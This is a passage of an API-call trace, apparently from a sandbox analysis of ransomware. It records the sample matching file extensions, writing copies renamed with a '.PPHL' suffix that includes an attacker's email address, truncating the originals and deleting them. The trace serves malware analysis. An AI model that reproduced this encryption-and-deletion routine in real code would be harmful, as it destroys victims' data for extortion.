Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.880] lstrlenW (lpString=".doc") returned 4 [0059.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString=".docx") returned 5 [0059.880] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0059.880] lstrlenW (lpString=".pdf") returned 4 [0059.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString=".xls") returned 4 [0059.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString=".xlsx") returned 5 [0059.880] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0059.880] lstrlenW (lpString=".ppt") returned 4 [0059.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.880] lstrlenW (lpString=".zip") returned 4 [0059.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.880] lstrlenW (lpString=".rar") returned 4 [0059.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString=".bz2") returned 4 [0059.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString=".7z") returned 3 [0059.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.880] lstrlenW (lpString=".dbf") returned 4 [0059.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.880] lstrlenW (lpString=".1cd") returned 4 [0059.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.881] lstrlenW (lpString=".jpg") returned 4 [0059.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.881] lstrlenW (lpString=".doc") returned 4 [0059.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString=".docx") returned 5 [0059.881] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0059.881] lstrlenW (lpString=".pdf") returned 4 [0059.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString=".xls") returned 4 [0059.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString=".xlsx") returned 5 [0059.881] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0059.881] lstrlenW (lpString=".ppt") returned 4 [0059.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.881] lstrlenW (lpString=".zip") returned 4 [0059.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.881] lstrlenW (lpString=".rar") returned 4 [0059.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString=".bz2") returned 4 [0059.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString=".7z") returned 3 [0059.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.881] lstrlenW (lpString=".dbf") returned 4 [0059.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.881] lstrlenW (lpString=".1cd") returned 4 [0059.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0059.882] lstrlenW (lpString=".jpg") returned 4 [0059.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.882] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.882] lstrlenW (lpString="Setup.xml") returned 9 [0059.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.882] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1608) returned 1 [0059.882] CloseHandle (hObject=0x190) returned 1 [0059.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0059.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.883] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.883] GetLastError () returned 0x0 [0059.883] ReadFile (in: hFile=0x190, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x648, lpOverlapped=0x0) returned 1 [0059.889] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x650, lpOverlapped=0x0) returned 1 [0059.890] ReadFile (in: hFile=0x190, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.890] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.890] SetEndOfFile (hFile=0x194) returned 1 [0059.890] CloseHandle (hObject=0x194) returned 1 [0059.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.899] SetEndOfFile (hFile=0x190) returned 1 [0059.900] CloseHandle (hObject=0x190) returned 1 [0059.900] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0059.901] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0060.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.317] lstrlenW (lpString=".doc") returned 4 [0060.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.317] lstrlenW (lpString=".docx") returned 5 [0060.317] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.317] lstrlenW (lpString=".pdf") returned 4 [0060.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.317] lstrlenW (lpString=".xls") returned 4 [0060.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.317] lstrlenW (lpString=".xlsx") returned 5 [0060.317] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.317] lstrlenW (lpString=".ppt") returned 4 [0060.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.317] lstrlenW (lpString=".zip") returned 4 [0060.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.317] lstrlenW (lpString=".rar") returned 4 [0060.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.317] lstrlenW (lpString=".bz2") returned 4 [0060.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.317] lstrlenW (lpString=".7z") returned 3 [0060.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.317] lstrlenW (lpString=".dbf") returned 4 [0060.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString=".1cd") returned 4 [0060.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString=".jpg") returned 4 [0060.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString=".doc") returned 4 [0060.318] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString=".docx") returned 5 [0060.318] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.318] lstrlenW (lpString=".pdf") returned 4 [0060.318] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString=".xls") returned 4 [0060.318] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString=".xlsx") returned 5 [0060.318] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.318] lstrlenW (lpString=".ppt") returned 4 [0060.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString=".zip") returned 4 [0060.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.318] lstrlenW (lpString=".rar") returned 4 [0060.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString=".bz2") returned 4 [0060.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString=".7z") returned 3 [0060.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString=".dbf") returned 4 [0060.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.318] lstrlenW (lpString=".1cd") returned 4 [0060.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.319] lstrlenW (lpString=".jpg") returned 4 [0060.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.319] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.319] lstrlenW (lpString="Proof.xml") returned 9 [0060.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.486] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1457) returned 1 [0060.486] CloseHandle (hObject=0x1ac) returned 1 [0060.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0060.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.486] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.486] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0060.487] GetLastError () returned 0x0 [0060.487] ReadFile (in: hFile=0x1ac, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0060.489] WriteFile (in: hFile=0x1b0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0060.489] ReadFile (in: hFile=0x1ac, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x1b0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.490] SetEndOfFile (hFile=0x1b0) returned 1 [0060.490] CloseHandle (hObject=0x1b0) returned 1 [0060.508] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.508] SetEndOfFile (hFile=0x1ac) returned 1 [0060.509] CloseHandle (hObject=0x1ac) returned 1 [0060.509] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.510] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0060.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.510] lstrlenW (lpString=".doc") returned 4 [0060.510] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.510] lstrlenW (lpString=".docx") returned 5 [0060.510] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0060.510] lstrlenW (lpString=".pdf") returned 4 [0060.510] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.510] lstrlenW (lpString=".xls") returned 4 [0060.510] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString=".xlsx") returned 5 [0060.511] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0060.511] lstrlenW (lpString=".ppt") returned 4 [0060.511] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.511] lstrlenW (lpString=".zip") returned 4 [0060.511] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.511] lstrlenW (lpString=".rar") returned 4 [0060.511] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString=".bz2") returned 4 [0060.511] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString=".7z") returned 3 [0060.511] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.511] lstrlenW (lpString=".dbf") returned 4 [0060.511] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.511] lstrlenW (lpString=".1cd") returned 4 [0060.511] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.511] lstrlenW (lpString=".jpg") returned 4 [0060.511] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.511] lstrlenW (lpString=".doc") returned 4 [0060.511] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.511] lstrlenW (lpString=".docx") returned 5 [0060.511] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0060.511] lstrlenW (lpString=".pdf") returned 4 [0060.511] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString=".xls") returned 4 [0060.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString=".xlsx") returned 5 [0060.512] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0060.512] lstrlenW (lpString=".ppt") returned 4 [0060.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.512] lstrlenW (lpString=".zip") returned 4 [0060.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.512] lstrlenW (lpString=".rar") returned 4 [0060.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString=".bz2") returned 4 [0060.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString=".7z") returned 3 [0060.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.512] lstrlenW (lpString=".dbf") returned 4 [0060.512] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.512] lstrlenW (lpString=".1cd") returned 4 [0060.512] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0060.512] lstrlenW (lpString=".jpg") returned 4 [0060.512] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.512] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.512] lstrlenW (lpString="Setup.xml") returned 9 [0060.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.513] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2362) returned 1 [0060.513] CloseHandle (hObject=0x1ac) returned 1 [0060.513] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0060.513] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.513] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.513] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0060.514] GetLastError () returned 0x0 [0060.514] ReadFile (in: hFile=0x1ac, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x93a, lpOverlapped=0x0) returned 1 [0060.515] WriteFile (in: hFile=0x1b0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x940, lpOverlapped=0x0) returned 1 [0060.516] ReadFile (in: hFile=0x1ac, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.516] WriteFile (in: hFile=0x1b0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.517] SetEndOfFile (hFile=0x1b0) returned 1 [0060.517] CloseHandle (hObject=0x1b0) returned 1 [0060.525] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.525] SetEndOfFile (hFile=0x1ac) returned 1 [0060.720] CloseHandle 